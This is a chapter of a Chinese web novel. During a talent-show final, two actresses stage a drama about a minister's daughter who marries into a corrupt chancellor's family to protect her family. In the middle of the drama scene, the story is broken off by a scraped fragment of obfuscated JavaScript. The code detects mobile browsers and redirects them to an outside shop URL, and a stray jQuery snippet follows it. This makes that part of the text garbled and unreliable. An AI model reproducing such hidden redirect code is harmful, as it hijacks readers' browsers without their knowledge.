二十分钟后,衣服到了。
打开包装的瞬间,在场几人都仿佛感受到了金钱沉甸甸的力量。
当林清弦做好妆造,换上衣服戴上发冠后,金翠交辉,霞帔流云,和影楼里亮闪闪的仿制品不同,一针一线、一珠一翠都是仿佛浸着时光的好东西。
不愧是非遗手艺,这钱花的不亏,顾映心想。
“这都不像嫁衣了,像战袍似的。”赵姐忍不住感慨。
顾映笑了笑,可不是战袍嘛。这可是林清弦这个娱乐圈小透明打响演艺生涯第一炮的重头戏。
林清弦从镜子前转过身,表情复杂,她揪着衣角,似乎有些愧疚:“映映姐,对不起,我不该怀疑你的。”
顾映笑了笑:“没事,当时那种情况你怀疑我也很正常。”
她说完这话,林清弦更加抬不起头了。
“这件衣服很贵吧,但不管多少钱,我一定还你!”
“不用,就当是我对你的投资了。”
“可……”
“别可是了。”顾映推了她一把,“还有十五分钟就要上台了,我们最后再对一遍台词。”
“好。”
***
总决赛录制舞台现场。
这一次,台下参与评分的观众比前几期还要多。当林清弦穿着凤冠霞帔站到台上时,所有人都忍不住惊呼,好漂亮。
衣服漂亮,但人更漂亮。
前几期,林清弦几乎演的都是比较苦情的角色,但现在,她穿着大红色的嫁衣,容色艳丽,不再是低调小白花,而是张扬的牡丹,好像正亟待一场精彩绝伦的绽放。
相比较起来,顾映就显得低调很多。一袭浅绿色褙子长裙,清新灵动,像个不谙世事的天真少女。
主持人问:“你们准备好了吗?”
两人齐声回答:“准备好了。”
一声action指令,表演开始,舞台拉开帷幕。
【旁白:宋朝年间,御史台监察御史韩玉谦,性子刚直,得罪了当朝左相叶问韬。叶相权势滔天,诬陷韩玉谦主持乡试收受考生贿赂,人证、物证、供词一应俱全,预备御前弹劾,告他个抄家灭族的重罪。
若想他放过韩家,须让韩家长女韩清霜嫁入叶家,则弹劾不起、流言不传。
但是韩家次女韩清露却与叶相长子叶昭早已情投意合、私定终身。
***
大婚前夜,韩清霜正在试衣,她穿着一袭鲜红嫁衣,静坐在妆台前,任由丫鬟小桃给她梳着一头如瀑秀发。
烛火噼啪作响,快要燃尽。
突然,房门猛地被推开,韩清露站在门口,发髻有些散乱,眼睛红的像兔子,显然已经哭过一场。
“姐姐。”她声音沙哑。
韩清霜透过镜子看着她,没有回头。
她声音很平淡:“这么晚了,怎么还不歇息?”
“歇息?”韩清露一步步走近,声音颤抖:“姐姐明天就要嫁人了,我怎么睡得着?”
她从袖子里拿出一枚和田白玉的玉佩,玉质温润细腻,细节精致,上面雕刻的大雁在烛火下栩栩如生。
“姐姐,这是一个月前,叶家公子送给我的定情信物,而我也回赠了他一条鸳鸯手帕,我们约定今年中秋向爹娘坦白。”她带着哭腔,咬牙切齿,一字一句道:“这些,你都知道的。”
韩清霜摆了摆手,示意侍女小桃先出去。
小桃犹豫了一瞬,她看了一眼小姐淡然地脸色,叹了口气,转身离去,带上了房门。
“清露,你坐。”
“坐?”韩清露声音拔高,她气得扒住韩清霜的肩膀,强迫她转过身来,看着她:“姐姐,我刚刚从父亲那里过来,他骂我在外面私相授受不知廉耻,但是你之前明明跟我说喜欢一个人就要勇于争取,现在,你却一声不响就要嫁给我的心上人,你为什么要这么做?”
为什么要这么做?
韩清霜终于抬起头看了她一眼,她的眼神冷淡:“婚姻大事,父母之命,媒妁之言,哪有什么为什么。”
韩清露愣了愣,随即像是明白了什么,她破涕为笑,拉起韩清霜的手:“我明白了,姐姐你也是被迫的对不对?我们一起去找爹娘,告诉他们实情,告诉他们,你不想嫁。”
这一拉,却纹丝不动。
她诧异地回头看韩清霜:“姐姐?”
韩清霜淡漠地拂开她的手,露出一抹笑容:“妹妹,你不要天真了。没有什么被迫,实情就是,我想嫁。”
“可是你根本不喜欢叶昭啊!”
“那又如何?”
“姐姐……”韩清露像是刚认识眼前的人一般,她慢慢后退了半步:“从小到大,姐姐你从来不会跟我争东西,我想要的,你都会让给我,为什么这一次……”
她说不下去了,眼泪像断了线的珠子落下。
“因为这一次,我不想让了。”韩清霜的声音冷若冰霜,但只有她自己知道,她在努力控制颤抖的嗓音:“清露,我不可能让你一辈子的。”
韩清露身体僵硬了一瞬。
“姐姐……你说什么?”
韩清霜站起身来,他们俩身高相仿,但是她的眼神仿佛是在低头看她:“韩清露,你凭什么觉得,这世上所有的好东西都该让你先挑?你看上叶公子,他就是你的,凭什么?”
“可是我们两情相悦……”
“两情相悦?”韩清霜冷笑一声:“这世上最浅薄的就是情之一字,如果你们俩真的两情相悦,那为什么现在还能轮到我穿着嫁衣在这跟你说话?妹妹,明天可就要大婚了,你的叶郎可有为你去争取过?”
韩清露的脸色一寸寸白了下去。
韩清霜扬了扬下巴,露出一个残忍的笑容:“叶相是当朝权臣,嫁进叶家意味着什么,你懂吗?朝堂上的事,人情往来的事,大家族内宅的明争暗斗,你只知道绣花女红、谈情说爱,这些你应付得过来吗?”
她一字一句说着最伤人的话:“你应付不来,但我可以,我比你更有资格嫁进去。”
这句话像一把刀,狠狠扎在韩清露的心上。
她难以置信地看着韩清霜:“姐姐是觉得我……配不上叶昭?”
韩清霜别过头去:“我只是觉得,我比你更合适。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474576|200834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>沉默。
韩清露突然笑了一声,这一声里似乎有自嘲也有失望。
接着,她又笑了一声。这一声意味不明。
又是一段沉默。
韩清霜背对着她,等着她说话。
过了半天。
“韩清霜。”韩清露声音颤抖:“从今天起,我没有姐姐了。”
她转身便走,似乎毫无留恋。
韩清霜无动于衷,背对着她,从始至终没有再看她一眼。
直到小桃的脚步声逐渐靠近,她小心翼翼地叫了一声:“小姐?”
所有的伪装似乎在这一刻土崩瓦解,韩清霜颤抖着肩膀,慢慢蹲下身子,双手环住自己,嘴巴咬着手臂,无声哭泣。
“小姐……”小桃蹲下来,心疼地拍着她的背。
“您又何苦呢?”她叹息,“二小姐不是不通情达理之人,如果您把实情都告诉她,我相信她会理解的。”
韩清霜抬起头来,眼泪悬在眼下,眼眶通红。
“就是知道她会理解,会妥协,我才不能妥协。”她抹掉眼泪,眼神满满变得凌厉,“那个叶昭接近清露,从一开始就不是偶然。父亲与叶相政见不合,叶相早就想对付父亲,让自己的儿子故意勾引后宅闺阁女子私定终身,捏住把柄,再以此要挟父亲将长女嫁入叶家,既能羞辱父亲,又能让他乖乖把自己的大女儿奉上,此计诛心,父亲一生清廉守旧,这比杀了他还要痛苦。”
“那为什么是小姐你呢?”
“清露性子活泼,藏不住事,嫁进去容易生事。他们,需要的是一个稳重、识大体的棋子,不会闹事的长媳,名正言顺将父亲绑上叶家这条大船。”
韩清霜冷笑一声,嘲然道:“而且,想嫁的嫁不了,不想嫁的只能嫁,还能让我们韩家离心,一箭三雕。”
小桃:“那如果把这些都说出来,一家人总能想到法子的。”
韩清霜站起身,重新坐回妆台前,她又恢复到之前淡然的模样,她看着手掌的指甲血痕,淡淡道:“顺则两全,逆则俱毁。父亲性子刚直,这辈子只知道怎么做个忠廉的好官,妹妹性格天真烂漫,从来不懂得后宅那些腌臢,他们都斗不过叶相的。”
若是传出官家小姐勾引权臣之子的名声,清露的名声可就毁了。
而父亲也会被陷害入狱,满盘皆损
“我一个人的婚事,换全家平安,很值。”
“可是……这就苦了小姐你了。”小桃忧心道。
韩清霜看着镜中的自己,原本柔和的眉眼间似乎有戾气流转,她勾唇笑了笑:“那可未必。”
父亲的愁眉不展、母亲的偷偷抹泪、妹妹的心灰意冷。
她看了一眼指甲上的丹蔻:“叶家,也不是什么铁桶,既然嫁进去,当然也要扒掉他们的皮才公平。”
她韩清霜虽然端庄守礼、与人为善,但若伤她家人者,同样也必须得付出代价!
她像冰封的湖面,看着安全无害,但踏上去,就是无底的深渊。
画面的最后一秒,定格在她淬寒的眉眼之间,额间花钿红色如血,耀眼夺目。】
卡——!